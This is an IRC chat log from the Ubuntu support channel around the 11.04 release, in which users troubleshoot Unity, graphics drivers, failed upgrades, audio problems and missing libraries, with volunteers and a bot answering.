[06:59] <xust-> how many times do I have to point this out before somebody even acknowledges me
[06:59] <ohsix> PW-toXic: /var/log, and dmesg if it was recent
[07:00] <elvis2> hi all, i just updated to 11.04, how do i change the taskbar in the left, to be on the bottom?
[07:00] <Jordan_U> xust-: If nobody has an answer then nobody will answer.
[07:00] <tyr> PythonPup, nothing has happened after following the instructions in the page. Let me restart and confirm
[07:00] <micahcowan> shijie, better off with a different chan. Not really a package-building chan. #ubuntu-motu, if it's an ubuntu package being built.
[07:00] <xust-> alright. done with ubuntu. haven't had functional nvidia drivers since 10.04!
[07:00] <ohsix> xust-: some people might expect you to ask nvidia for support for their drivers, too
[07:00] <Jordan_U> Windows: This is the Ubuntu support channel, yes.
[07:00] <micahcowan> They may help, even if it's not, shijie
[07:01] <shijie> ok,thanks.
[07:01]  * freeman_ stares at Windows 
[07:01] <mah454> ohsix what ? unity have not system tray ?
[07:01] <crlcan81> xust: I have the same problem too, different drivers, but they're not in use either.
[07:01] <xust-> which graphics card?
[07:01] <freeman_> mah454, i dont think so
[07:01] <Windows> Cool thanks! I'm slowing making the switch from Winblows to Ubuntu
[07:02] <crlcan81> xust: gts 250
[07:02] <xust-> hm. 6600LE here.
[07:02] <xust-> time to give linux mint or opensuse a try :|
[07:02] <PW-toXic> ohsix, it just says "md: data-check of RAID array md0"
[07:02] <crlcan81> freeman yes they have the system tray, it's just limited. you can alter it to work as standard.
[07:02] <Windows> I've tried Mint and Open suse but always come back to Ubuntu. Guess I have a soft spot for it :P
[07:02] <linusasus6> before ubuntu 8.04 I was always updating only if it was LTS then I try to install every 6 month update I had lot of issues now I know that will continue to install LTS only
[07:02] <PW-toXic> ohsix, this happens regularly within several weeks...
[07:02] <freeman_> Windows, you came at the right time. we're all learning the new version too :P
[07:03] <PW-toXic> ohsix, why does he need to rebuild for a check?
[07:03] <ohsix> ugh that crap apport asks you with ubuntu-bug is awful
[07:03] <linusasus6> is by our error that we learn
[07:03] <Windows> Ha ha sweet! I'm really liking 11.0.4 been using it since the beta
[07:03] <blackstar> anyone knows how to re-enable missing logs files on natty?
[07:03] <ohsix> PW-toXic: no clue
[07:03] <PythonPup> crlcan81, it is better to choose the audio system that works best.  That is why there is a choice.  At least, that is one big reason.  I usually choose pulseaudio, but some people don't think it is stable enough.
[07:04] <crlcan81> That's what I was asking pythonpup, which one is stable/best quality?
[07:04] <crlcan81> also have another odd issue with the audio seperate from that..
[07:04] <casey_> Does anyone know how to use pen pressure in GIMP?
[07:04] <mah454> freeman_ I use xchat client for IRC , when I close xchat use minimize to tray . but I can not find it in unity desktop !
[07:04] <freeman_> mah454, i just use minimize
[07:05] <mah454> freeman_ I only minimize ?
[07:05] <bison> any suggestion, cairo-dock or docky?
[07:05] <PythonPup> crlcan81, it depends upon your system.  I told you what I normally choose.
[07:05] <crlcan81> well at least I figured out part of the audio issue I'm having.
[07:06] <micahcowan> casey, better off asking in a gimp-related chan or forum
[07:06] <freeman_> instead of closing i choose the button beside x
[07:06] <casey_> micahcowan: any where to point me to?
[07:06] <micahcowan> there's most likely a #gimp. Otherwise fish around.
[07:06]  * crlcan81 has where his pulseaudio doesn't always recognize pnp on his keyboard. alsa lists it as usb audio, which is what it is.
[07:06] <thauriswulfa> QUESTION: I just done a ubuntu 11 live boot but there' s no unity, its gnome , how to run unity now
[07:06] <casey_> thanks
[07:07] <chreestopher> thanks buddy, I got it working , adding users to sudoers that is
[07:07] <chreestopher> i forgot your name though
[07:07] <freeman_> casey_, cant you just use opacity?
[07:07] <chreestopher> lol
[07:07] <chreestopher> freeman, thats who it was, thanks for the help
[07:07]  * freeman_ raises hand
[07:07] <freeman_> glad you got it working :D
[07:07] <crlcan81> it's a USB gaming keyboard with audio input/output jacks on one side, and usb on the other.
[07:07] <thauriswulfa> QUESTION: I just done a ubuntu 11 live boot but there' s no unity, its gnome , how to run unity now
[07:08] <chreestopher> me too, this time around for some reason things are clicking much better in my head than in the past when ive tried to learn to use linux
[07:08] <PythonPup> thauriswulfa, It is likely your hardware does not have the needed 3d support.  If it is nvidia, you could probably install it, add the proprietary drivers and then you'd get Unity 3d.
[07:08] <freeman_> chreestopher, you can never know it all, haha
[07:08] <chreestopher> exactly
[07:08] <mathews> thauriswulfa: unity comes only when u installed it
[07:08] <Windows> Oh shit I just realized. My name is Windows. It suppose to be Windows Sucks wtf? lol
[07:08] <thauriswulfa> mathews: but it worked on another machine
[07:09] <crlcan81> you gotta do _ if you want space
[07:09] <chreestopher> I myself am an IT professional, mostly experienced with windows sides of things including AD etc as well as general IT support for medical practices as well
[07:09] <ASDF_> Hello
[07:09] <PythonPup> Windows, please watch your language here.
[07:09] <Windows> My bad won't happen again
[07:09] <freeman_> chreestopher, cool, im a student and i did my linux final exam today :P
[07:09] <chreestopher> im trying to expand my knowledge because the government is giving out tons of money to train for healthcare IT profesions , and ive already got a bit of background in the field, would just love to go as deep down the rabbit hole as i can
[07:09] <crlcan81> any idea how to get pulseaudio to recognize pnp aka headphones from a usb keyboard after logging out and logging back in?
[07:09] <mathews> thauriswulfa: u look on the panel whether it shows any circuit board symbol
[07:09] <sandGorgon> hmm.. does anybody else have an issue with the home screen of dash - I mean I would have preferred the home screen to have application categories like earlier "Accessories", "Games", etc.
[07:10] <mathews> thauriswulfa: click if it there and install the driver
[07:10] <chreestopher> anyways, just felt i would give you guys a bit of an intro , its the least I could do in exchange for the support
[07:10] <crlcan81> Every time I log out and log back in it causes the autodetect to stop recognizing the headphone jack on my keyboard as able to support audio.
[07:10] <chreestopher> lol
[07:10] <ASDF_> Can I restore my ubuntu after a failed upgrade using the live CD installation upgrade process???????????
[07:10] <elvis2> how do i move my launcher in 11.04?
[07:10] <freeman_> chreestopher, once you get comfortable with ubuntu you should go with more advanced distributions
[07:10] <mathews> thauriswulfa: unity needs display driver to be installed
[07:10] <thauriswulfa> mathew: its not there
[07:10] <thauriswulfa> mathews: its not there
[07:11] <freeman_> you will run into problems which will make you learn more
[07:11] <freeman_> always keep ubuntu though haha
[07:11] <Windows> I do have a problem though with XBMC. I run dual displays (26" lcd tv and 22" lcd monitor) I run XBMC on the TV which works great until I load up XBMC. XBMC doesn't seem to pick up my TV. Figured this was graphics card related and not XBMC. Any ideas?
[07:11] <chreestopher> my end goal is to learn pentesting , as eventually i would like to get cissp
[07:11] <ASDF_> Can I restore my ubuntu after a failed upgrade using the live CD installation upgrade process???????????
[07:11] <ASDF_> i need to restore it
[07:11] <chreestopher> as healthcare has a huge need for security in their technology ...
[07:11] <chreestopher> so i plan on learning more advanced distros once I get comfortable
[07:11] <mathews> thauriswulfa: go to system and look in preferences
[07:12] <PythonPup> healthcare has some security.  I am shocked.  I thought they were all Windows.
[07:12] <freeman_> haha
[07:12] <ASDF_> You guys are not helping............................................................
[07:12] <mathews> thauriswulfa: then additional drivers and click and run
[07:12] <ASDF_> I nned help guys!
[07:12] <thauriswulfa> mathews: one more problem, when i boot and try to install using usb  pen drive it gives some errror no 5  ,is something wrong with iso file,?
[07:13] <chreestopher> im liking it so far because im really starting to look at things differently already, only a few weeks in, and my mind is seeing and thinking about things in a more logical way , or atleast it seems that way
[07:13] <freeman_> ASDF_, can you be more specific... like an error message when you boot?
[07:13]  * crlcan81 sticks with autodetect..
[07:13] <crlcan81> So whatever the issue with my headphones it's not directly related to my sound layer system.
[07:13] <mathews> thauriswulfa: I dont know about error no5
[07:13] <ASDF_> It syas missing /tmp files during bootup
[07:13] <ASDF_> *says
[07:14] <thauriswulfa> ASDF_ so any solution?
[07:14] <sonictk> woohoo, upgraded to natty narwhal...and ubuntu goes to a blank screen (but with the gradient background) after choosing the kernel to boot from. Can't bring up Terminal or anything. :(
[07:14] <mathews> thauriswulfa: usually when installed Ubuntu log in in to gnome desktop
[07:14] <ASDF_> My upgrade failed and cannot bootup
[07:15] <thauriswulfa> QUESTION:when i boot and try to install using usb pen drive it gives some errror no 5(some fault on hard disk or cd drive) ,is something wrong with iso file,?
[07:15] <crlcan81> Does anyone have experience with headphones not working properly after a log out?
[07:15] <sonictk> hmm now it just goes to a blank screen with a blinking cursor. no boot
[07:15] <mathews> thauriswulfa: after u installed u can select it on each login page.Select ur usename and password and before u press login select the preferred desktop from the bottom panel
[07:15] <ASDF_> Can i restore ubuntu via the live cd upgrade process?
[07:15] <thauriswulfa> mathews: but its not installled
[07:15] <ohsix> crlcan81: you don't own the audio device after you log out, what sound can you make? :]
[07:16] <sandGorgon> anybody know how to configure Unity to show installed-programs on the home screen - especially if it is put in categories.
[07:16] <arquebus> ASDF- if you got that far in the install process, the partition has been formatted, there is no previous ubuntu to go back to
[07:16] <ASDF_> Hello I got plenty of important files in my ubuntu, i need to fix it ASAP
[07:16] <mathews> thauriswulfa: thats what I said on live cd it log in to only gnome desktop and needs display drivers supporting 2d or 3d
[07:16] <freeman_> ASDF_, you can try it.
[07:16] <ASDF_> But will it work?
[07:18] <Jordan_U> ASDF_: You can access you files from a LiveCD.
[07:18] <ASDF_> When i boot up it says disck drive / is not ready yet or not present
[07:18] <mathews> anybody here know that Ubuntu 11.04 miss vpn service
[07:18] <newb_> Hello! egtk gnome theme is missing into ubuntu? This is the default theme for gnome3? Here the default gnome3 theme is missing, and  think it's egtk...
[07:18] <linusasus6> I still have one issue from the sound, when earphone or headphone are plug the sound come from speaker at the sametime
[07:18] <ASDF_> Jordan_U : I know that
[07:18] <ohsix> mathews: networkmanager still does vpns, maybe you need to install the package for the type you need?
[07:18] <ASDF_> but i want to restore the system
[07:18] <xangua> newb_: better stick with unity
[07:19] <ASDF_> it identifies itself at Ubuntu 11.04
[07:19] <linusasus6> but you help me alot today so it will be for next time thank have a great nite all
[07:19] <sonictk> hmm I changed my boot options to show whats happening during boot, it seems to get stuck at Loading...please wait...but it's been like what? 5 minutes? no change
[07:19] <freeman_> linusasus6, good night and good luck :)
[07:19] <ohsix> newb_: gnome3 is only available as a ppa right now, and is not really suppotred here
[07:19] <mathews> ohsix: I installed openvpn and restart the system but it says vpn service failed to start on the moment I click the vpn connection.Even it does not try to connect
[07:20] <newb_> xangua: for awhile it's only a testing...
[07:20] <newb_> ohsix: ok :(
[07:20] <freeman_> newb_, i think you can use gnome2 :P
[07:20] <ohsix> newb_: someone might answer if it's not too specific to gnome3 but it's still a pot shot here
[07:21]  * crlcan81 is talking about logging out and logging back in.
[07:21] <mathews> ohsix: the same way I did in 10.10 but it was working there
[07:22] <ASDF_> hello?
[07:22] <freeman_> ASDF_, how's it going?
[07:22] <ASDF_> God dammit this is not even helping me
[07:22] <freeman_> did you try looking for an option in the live cd?
[07:23] <ASDF_> yeah it syas upgrade to naty natawall
[07:23] <ASDF_> will it fix my PC ?
[07:23] <thegoodcushion> Is it too early for me to ask what the stance is on Unity/GNOME in 11.10?
[07:23] <freeman_> does it recognize it as 10.10 ?
[07:23] <ASDF_> no 11.04
[07:24] <sonictk> hmm after booting in verbose mode I seem to be stuck on boot at the line "Begin: running /scripts/init-bottom ... done
[07:24] <ASDF_> its recognize as 11.04
[07:24] <ChronicSyncope> thegoodcushion, are you asking if they're going to remove it?
[07:24] <mathews> ASDF: can u log in to it?
[07:24] <ASDF_> cant log in
[07:24] <thegoodcushion> ChronicSyncope: Well, I'm asking what's happening.  I like GNOME and I don't like Unity
[07:24] <PythonPup> thegoodcushion, I have seen an announcement that the Gnome desktop will not be in 11.10.  I don't know all the details.
[07:24] <freeman_> how far in the upgrade did you get
[07:24] <ASDF_> it says missing /tmp files during bootup
[07:24] <ASDF_> up to xfont
[07:24] <ASDF_> then the terminal stalled
[07:25] <mathews> ASDF: then u can copy whatever in ur hard disk
[07:25] <ASDF_> and its says 28 mins remaining
[07:25] <freeman_> mine took a long time.. but i did a fresh install
[07:25] <ChronicSyncope> thegoodcushion, just use "classic gnome" when you log in
[07:25] <thegoodcushion> ChronicSyncope: yeah but it might not be there
[07:26] <mathews> ASDF: on upgrade the documents r not deleted and u can take it back on running a live cd
[07:26] <ChronicSyncope> thegoodcushion, honestly, if it disappears I would switch distros, on the other hand it's very easy to install gnome
[07:26] <freeman_> thegoodcushion, i think you can still get a pakage in software center
[07:26] <thegoodcushion> yeah ChronicSyncope I'm with 10.04 right now because of that
[07:26] <PythonPup> thegoodcushion, see https://bugs.launchpad.net/ubuntu/+source/unity/+bug/739812/comments/5 for confirmation
[07:26] <ubottu> Ubuntu bug 739812 in unity (Ubuntu Natty) "Must use hardware keyboard to perform search for applications in Unity" [Medium,Confirmed]
[07:26] <ASDF_> mathews: the files are still there
[07:26] <newb_> xangua, freeman_, ohsix: anyway, thanks for help :) Restarting the system here to do some tests
[07:27] <freeman_> newb_, good luck
[07:27] <uabn93> If I upgrade ubuntu, will I be able to keep my settings and applications?
[07:27] <mathews> ASDF: so u do run a live cd and save the documents before u do any further test
[07:27] <ASDF_> can access it using the live CD
[07:27] <PythonPup> uabn93, For the most part, yes
[07:27] <freeman_> ASDF_, yes
[07:27] <ASDF_> mathews: Save inside live CD?
[07:27] <ChronicSyncope> uabn93, of course, if you update it internally
[07:28] <mathews> cannot save inside live cs but in a separate hdd
[07:28] <freeman_> ASDF_, do you have an ipod or something
[07:28] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[07:28] <mathews> ASDF:cannot save inside live cd but in a separate hdd
[07:28] <PythonPup> uabn93, there are usually a few applications where support is dropped between releases.  But, very few and they are usually things that are not used much.
[07:28] <ASDF_> freeman: iphone or ipad?
[07:28] <thegoodcushion> PythonPup: that's interesting, but it's hardly a definitive statement on the matter
[07:28] <ASDF_> yeah
[07:29] <sebastian> hi to all, i have a question. I have installed the ubuntu 11.4, but unity is not of my like and i want to return to the old look, is a way to do that?
[07:29] <r0fs3ck5> !tip
[07:29] <PythonPup> thegoodcushion, I generally take Marks word as a decision.  But, you can decide for yourself.
[07:29] <mathews> ASDF: a restore of upgrade is not possible I think
[07:29] <thegoodcushion> PythonPup: Oops, I didn't check the author's name
[07:29] <freeman_> ASDF_, not very much space but i think so.. mine is 160 gigs but i use separate data partition
[07:29] <thegoodcushion> PythonPup: okay, I think you're right
[07:30] <mathews> sebastian: it is possible
[07:30] <PythonPup> sebastian, It is easy.  Just log out.  Log back in , but before you type your password, look to the bottom of the screen and select Gnome.
[07:30] <freeman_> sebastian, when you log in at the bottom look for classic gnome
[07:30] <freeman_> jinx
[07:30] <mathews> sebastian: u got it from Pythonpup
[07:30] <sebastian> the problem is that i put "start automatically" in the installation
[07:30] <adzy> hello all!
[07:30] <uabn93> PythonPup: I also have a laptop and had to manually compile wifi drivers and I also installed burg. Do you think that'll remain too, if i upgrade?
[07:30] <sebastian> the system dont as me my password
[07:31] <KM0201> sebastian: probably cuz you set it to auto login
[07:31] <ASDF_> How about I create a partion on my HDD and transfer the documents into the new partition and do the upgrade
[07:31] <uabn93> Oh..and printer drivers
[07:31] <PythonPup> uabn93, probably.  You might have to do a make install again.
[07:31] <red2kic> ASDF_: Burn them to the DVD is an option too.
[07:31] <adzy> anyone have trouble booting from live cd? my just hangs up no matter what menu option i select
[07:31] <ASDF_> but my files are 10GB plus
[07:32]  * freeman_ smiles
[07:32] <sebastian> yes, i set it in auto login, how can i do to the system for it ask me my password again?
[07:32] <freeman_> do you want a password?
[07:32] <ASDF_> the only way to make a new partition and move my home folder there
[07:32] <red2kic> ASDF_: Only 10GB plus -- Luck you. I have 100GB plus.
[07:32] <mathews> sebastian: go to the system and select login screen
[07:32] <chronos> good night. have someone booted livecd at a notebook with nvidia GTS 360m ? I getting a 'zebra' screen here
[07:32] <freeman_> sebastian, open a terminal and type: passwd
[07:32] <PythonPup> adzy, I have one system that would not boot from the Natty live cd.  I used the alternate CD and it worked fine.
[07:32] <ASDF_> Will it work?
[07:32] <red2kic> ASDF_: Hard drives are inexpensive. Just saying.
[07:33] <chronos> and booting from a usb stick
[07:33] <freeman_> red2kic, partitions are free :)
[07:33] <adzy> PythonPup, whats the alternate CD ? a seperation ISO download?
[07:33] <PythonPup> sebastion, it will login when you boot.  So, then logout.
[07:33] <arquebus> ASDF- did you have your home directory on its own partition on the previous install?
[07:33] <red2kic> !alt | adzy
[07:33] <ubottu> adzy: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[07:34] <ASDF_> The idea of Distribution Upgrade in Ubuntu is probably the stupidest idea ever..................................................................
[07:34] <freeman_> i love you ubottu
[07:34] <uabn93> PythonPup: thanks
[07:34] <sebastian> thanks!
[07:34] <adzy> red2kic, thanks ;)
[07:34] <PythonPup> adzy, yes, it is another CD installer.  I usually use it becasue it has more options for disk setup.  During the testing cycle, I try both CDs so I can report errers.
[07:34] <freeman_> ubottu i love you
[07:34] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[07:34] <ASDF_> Especially online upgrade
[07:34] <uabn93> lol
[07:34] <ASDF_> It better to burn an iso and upgrade it
[07:35] <mathews> ASDF: ur statement is not correct
[07:35] <ASDF_> Very little risk involved
[07:35] <ASDF_> Anything can go wrong with the distribution upgrade
[07:35] <sonictk> yay I got narwhal to boot...by booting into the older linux kernel
[07:35] <ASDF_> The online one
[07:35] <hardcold> Isn't SDL installed with Ubuntu?
[07:35] <freeman_> ASDF_, you dont have to choose it :P
[07:35] <hardcold> I just tried to compile a game but it said I didn't have SDL
[07:35] <sonictk> apparently 2.6.38 doesnt like my netbook X_X
[07:36] <bullgard4> http://people.ubuntu.com/~nhandler/classroom.html does not show me any entries. Does this mean that there are no Ubuntu classrooms in May, 2011?
[07:36] <hardcold> How can I install SDL?
[07:36] <mathews> ASDF: on immediate upgrade after a release makes the problem
[07:36] <adzy> PythonPup, I'm using it now in Vmware now, so ill use this i guess until i get alternate installer thanks ;)
[07:36] <PythonPup> hardcold.  sdl is a library.  You may have to add it.
[07:36] <hardcold> PythonPup, how do I add it?
[07:36] <ASDF_> Stpid upgrade
[07:36] <kevinamadeus> does natty comes with a task manager?
[07:37] <ASDF_> next time when new version release, ask everyone to burn it an iso and install it
[07:37] <ASDF_> kevinamadeus: Yes
[07:37] <hardcold> PythonPup, I had 11.04 beta 2, which had it, but I just did a clean install 11.04 and it does not seem to
[07:37] <freeman_> kevinamadeus, in the search look for system
[07:37] <PythonPup> kevinamadeus, try alt+tab
[07:37] <freeman_> system monitor its called
[07:38] <kevinamadeus> ahh system monitor!
[07:38] <kevinamadeus> freeman_: thanks!
[07:38] <PythonPup> hardcold, give me a moment
[07:38] <freeman_> kevinamadeus, no problem, took me a second to find it too :)
[07:38] <ASDF_> UBUNTU ONLINE DISTRIBUTION UPGRADE SUCKS!!!!!!!!!!!!
[07:38] <ASDF_> always fail
[07:38]  * freeman_ whispers, "don't use it"
[07:38] <red2kic> ASDF_: Debian. Can't go wrong with SOLID OS.
[07:38] <ASDF_> ever since 4.04
[07:38] <thegoodcushion> This Unity business will ruin Ubuntu
[07:38] <Jordan_U> !ot | ASDF_
[07:38] <ubottu> ASDF_: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[07:39] <mathews> ASDF: pls stop
[07:39] <ASDF_> red2kic: you must be joking
[07:39] <uabn93> Ok guys, I'm about to upgrade. I always hear of upgrade failures. Wish me luck.
[07:39] <PythonPup> thegoodcushion, I am concerned, too.  But, I hope not.
[07:39] <freeman_> uabn93, remember to backup your files
[07:39] <bullgard4> kevinamadeus: Yes.
[07:39] <ohsix> ASDF_: your statement doesn't match my own experience, perhaps it's an opinion?
[07:39] <red2kic> ASDF_: Ho ho ho?
[07:39] <kz3> can anybody help me in installing "metasploit" on ubuntu
[07:39] <ASDF_> uabn93> If you wanna upgrade download the iso
[07:39] <uabn93> freeman_: check :)
[07:39] <ohsix> uabn93: purge any ppas you use :]
[07:39] <freeman_> uabn93, good luck :D
[07:39] <thegoodcushion> PythonPup: Seriously, Ubuntu has been the most popular distro for years now.  With this Unity business, it's finished
[07:39] <ASDF_> and istall it
[07:39] <PythonPup> hardcold, open up synaptic and search for libsdl.
[07:40] <uabn93> ohsix: why is that?
[07:40] <thegoodcushion> I reckon I'll stay with Ubuntu 10.04 until it becomes too old, and then upgrade to debian with GNOME
[07:40] <ASDF_> Online upgrade is very unstable
[07:40] <ohsix> ASDF_: please don't discuss your failures in here unless you can assist someone to  figure out what it is
[07:40] <ASDF_> anything can happen
[07:40] <hardcold> PythonPup, doing now
[07:40] <ohsix> uabn93: ppas are unsupported 3rd party software, a good way to break things
[07:40] <ohsix> ASDF_: that's not true
[07:40] <PythonPup> thegoodcushion, You are too harsh.  For the next 6 months, there is no problem.  If Uniuty bothers you, just use Gnome.  Let them work out the bugs a bit.
[07:40] <kz3> can anybody help me in installing "metasploit" on ubuntu
[07:41] <ohsix> kz3: no
[07:41] <mathews> ASDF: people r not getting so angry when they buy a windows cd for many $ and fails
[07:41] <ASDF_> kz3: sudo apt-get install metasploit
[07:41] <hardcold> PythonPup, now what?
[07:41] <thegoodcushion> PythonPup: I'll stay with 10.04.  I'm doing coding mainly so it's not like I need a recent release
[07:41] <red2kic> mathews: They just go out and buy new machines instead.
[07:41] <ASDF_> Im angry why nothing has been done to fix that
[07:41] <uabn93> ohsix: will do that just to be safe. thanks 4 the info
[07:42] <thegoodcushion> Who's using GNOME 3?  Why can't Ubuntu use GNOME 3?  GNOME 3 looks good to me
[07:42] <freeman_> thegoodcushion, i do my coding in a virtual machine
[07:42] <red2kic> thegoodcushion: I'm about to. I'm on TTY at the moment.
[07:42] <kz3> ASDF_: it says unable to locate package metasploit
[07:42] <Jordan_U> ASDF_: Continuing to rant here will not help anything, though it may get you removed from the channel.
[07:42] <ohsix> uabn93: :] anything you manually install in directories managed by the package manager can cause troublr too
[07:42] <PythonPup> hardcold, if you found good choices there.  Install them.  I don't have a Natty system here.  I have a few at home and I will have one here in about 90 minutes.
[07:42] <thegoodcushion> freeman_: I used to do it in a VM too, only issue was I couldn't get the printer to work from the VM
[07:42] <ASDF_> kz3: go syamtic package manager
[07:43] <mathews> thegoodcushion: every new system is a headache on start up but get ok after we experience it
[07:43] <freeman_> what vm program
[07:43] <hardcold> PythonPup, It shows libsdl1.2debian as being installed
[07:43] <ASDF_> freeman: Virtual machines
[07:43] <freeman_> vmware or?
[07:43] <ppk_> can anyone direct me to a page that will show me how to get flash + firefox + audio to work properly?
[07:44] <hardcold> PythonPup, what is the website to paste things for this chat? I'll just post what terminal is saying
[07:44] <Infatuas> ppk_:google.com
[07:44] <PythonPup> thegoodcushion, Fedora uses GNOME 3.  I agree with Mark that it was a risky choice to go with GNOME 3.  Or, at least it is fair to say it looked like that early on.  It seems to have worked out, but it has its own odd behaviours.
[07:44] <ASDF_> freeman: VMware or Virtualbox
[07:44] <thegoodcushion> Another issue - has anyone played SuperTux from ubuntu and got the sound to work?  I can't get sound to work in Supertux
[07:44] <freeman_> hardcold, www.pastebin.com
[07:44] <Jordan_U> !google | Infatuas
[07:44] <ubottu> Infatuas: While Google is useful for helpers, many newer users don't have the google-fu yet. Please don't tell people to "google it" when they ask a question.
[07:44] <ohsix> ppk_: you shouldn't have to do anything for that
[07:44] <thegoodcushion> PythonPup: the current version of Fedora?
[07:44] <freeman_> ASDF_, vmware.. i have a license
[07:44] <ohsix> ppk_: perhaps you should describe your problem instead
[07:44] <PythonPup> hardcold.  pastebin.com  will work.  Their are a bunch of pastebins and any of them are fine.
[07:44] <pooltable> hi is there a way to compare other Linux distributions i am not happy with 11.4 set up but like that it is easy to up date any one can help ???
[07:45] <ppk_> its crackly, and it makes the sound in vlc stop.
[07:45] <ASDF_> Just asking, why ubuntu dumped gnome andd use unity instead?
[07:45] <PythonPup> thegoodcushion, No, the one in Beta.
[07:45] <freeman_> ASDF_, i think it was to appeal to more people
[07:45] <thegoodcushion> PythonPup: Okay, good.  I'm running Fedora 14 and it has GNOME 2.  I don't like the Fedora look and feel as much as Ubuntu
[07:45] <Jordan_U> ASDF_: This is a support channel, not a discussion channel. Please keep on topic or move the conversation to #ubuntu-offtopic.
[07:45] <ASDF_> freeman_: and its not working, instead it backfires
[07:46] <thegoodcushion> PythonPup: But if Ubuntu continues to move toward unity and away from GNOME, I'm going to Fedora or Debian
[07:46] <hardcold> PythonPup, http://pastebin.com/sq1nNh5c
[07:46] <uabn93> ppk_: do you use 64 bit?
[07:46] <ppk_> yeah
[07:46] <Etherael> just upgraded to natty and desktop env is almost entirely hosed. Looks like although the ati drivers are reportedly installed they are almost completely useless, 14 fps in glxgears and compiz won't even run at all, what gives?
[07:46] <ChronicSyncope> why is classic gnome so ugly when i right click on things?
[07:46] <PythonPup> thegoodcushion, I like Ubuntu better, too.  But, if you want to try GNOME 3, thge Fedora 15 beta is a good place.
[07:46] <ppk_> i installed flash through the software installer
[07:46] <mathews> thegoodcushion: still u can add the PPA for gnome 3 in ubuntu
[07:46] <freeman_> ASDF_, you can always switch shell
[07:47] <thegoodcushion> PythonPup: I'm coding a Wikipedia bot so I want to only use release software
[07:47] <ohsix> ppk_: did you attempt to disable or remove pulseaudio?
[07:47] <ASDF_> 10.10 is probably the best
[07:47] <freeman_> or distro
[07:47] <thegoodcushion> PythonPup: I can't run my code on beta anything
[07:47] <ohsix> !best | ASDF_
[07:47] <ubottu> ASDF_: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[07:47] <Ignatus> i can't adjust the volume in my brand spanking new natty system. volume indicator says no label, and clicking prefs gives a waiting for sound system to respond message
[07:47] <ppk_> hmm...no. do i just apt-get remove it?
[07:47] <ohsix> ppk_: no, i asked what you might have done; it was not instructive
[07:47] <uabn93> ppk_: maybe try getting the 64 bit version of flash. youtube has some tutorials
[07:47] <Ultimate_Chaos>  HAPPY BIRTHDAY Ultimate_Chaos! We all love you!
[07:48] <PythonPup> thegoodcushion, GNOME 3 is very new.  So, you can try the beta or wait.
[07:48] <Ultimate_Chaos> someone sent that to me
[07:48] <ohsix> ppk_: vlc should not be blocking anything if pulse hasn't been messed with, or vlc has been configured to do a bad thing
[07:48] <ppk_> is the one in the repo not 64 bit?
[07:48] <Ultimate_Chaos> oh crap
[07:48] <Ultimate_Chaos> sry
[07:48] <Ultimate_Chaos> wrong channel
[07:48] <red2kic> Ultimate_Chaos: It's okay. We all love you.
[07:48] <ppk_> oh yeah, i remembereed i set vlc to use alsa instead of pulse becuase it was cracling/
[07:48] <freeman_> happy birthday !! lol
[07:48] <Ultimate_Chaos> ty
[07:48] <PythonPup> ohsix, the vlc in Natty has some serious problems.
[07:49] <ohsix> PythonPup: i'm not interested in anything but specifics
[07:49] <Etherael> Why was this release made when it seems that things are still very broken?
[07:49] <PythonPup> It is a vlc problem, not a Ubuntu problem.  The memory leaks are bad on OpenSuse 11.4, too
[07:49] <Ignatus> i have sound working, and alsamixer displays al channels. what's up with my indicator then?
[07:49] <freeman_> Etherael, tradition dictates it must be released this month
[07:49] <red2kic> Etherael: Time-based releases, I imagine.
[07:49] <hardcold> I'll spend some hours ding things that should take 10 seconds with a functional OS tomorrow I guess
[07:49] <ppk_> i spose i can go back to pulse in vlc, but how to i stop the crackling
[07:49] <ohsix> ppk_: if it uses alsa and opens hw:0 it will make a mess, make it use pulse & lets find out what the crackling is
[07:50] <Etherael> damn, wish I knew it was a fake release before I upgraded.
[07:50] <ppk_> ok going to change it back now
[07:50] <Etherael> is there a way to rollback quickly?
[07:50] <Etherael> short of a full backup restore?
[07:50] <freeman_> i dont think its that broken
[07:50] <ohsix> PythonPup: good to know, i don't recommend people use vlc anyways ;]
[07:50] <Etherael> it's totally unusable.
[07:50] <PythonPup> hardcold, did you install the libsdl 1.2 or greater and then reboot?
[07:50] <ppk_> so i set vlc to default of to pulse?
[07:50] <red2kic> Etherael: Upgrading = :(
[07:50] <red2kic> Etherael: Clean installion = :)
[07:50] <Etherael> compiz won't run, anything that touches opengl subsystem is thoroughly hosed.
[07:51] <ppk_> or*
[07:51] <red2kic> Etherael: It's just my opinion, keep that in mind.
[07:51] <freeman_> i always clean install
[07:51] <ohsix> ppk_: yes, or don't change the defaults at all
[07:51] <Maahes> how do you set the terminal bell? I'm using zsh and urxvt, and I can't remember how to set this variable. echo -e -n "\a" produces no output
[07:51] <ppk_> yep so the fuz/hiss/crackly is back
[07:51] <thegoodcushion> Alright, let me start a debate: Is it true that 10.04 is less likely to have bugs, or have fewer bugs, than 11.04?  Or is the benefit really that one does not need to upgrade/relearn things/upgrade hardware/etc?
[07:51] <Ignatus> clean install = :/
[07:52] <ohsix> thegoodcushion: this is not the place for debate, this is a help channel
[07:52] <Maahes> isn't vlc the only free media player with hardware accel
[07:52] <ZykoticK9> Maahes, mplayer
[07:52] <thegoodcushion> It seems to me that no release is every truly stable.  There are always bugfixes and new releases etc
[07:52] <Maahes> thegoodcushion: neither of those things is really a true statement.
[07:52] <ppk_> N.B. it also pops when i adjust the volume with my keyboard
[07:52] <ohsix> ppk_: ok post the output of pacmd ls to a pastebin
[07:52] <PythonPup> Maahes, Doen's Mplayer have hardware accel?
[07:52] <red2kic> thegoodcushion: What distro did you try?
[07:53] <freeman_> you can go to #ubuntu-offtopic
[07:53] <Infatuas> well, i think that's a valid question from "thegoodcusion"; help directive
[07:53] <PythonPup> Maahes, Doesn't Mplayer have hardware accel?
[07:53] <Maahes> its very particular to your hardware/software environment
[07:53] <ohsix> thegoodcushion: the "stable" part is a steady version of the software that receives backports and fixes
[07:53] <Maahes> PythonPup: I wouldn't be the one to know, since I asked if vlc was the only one.
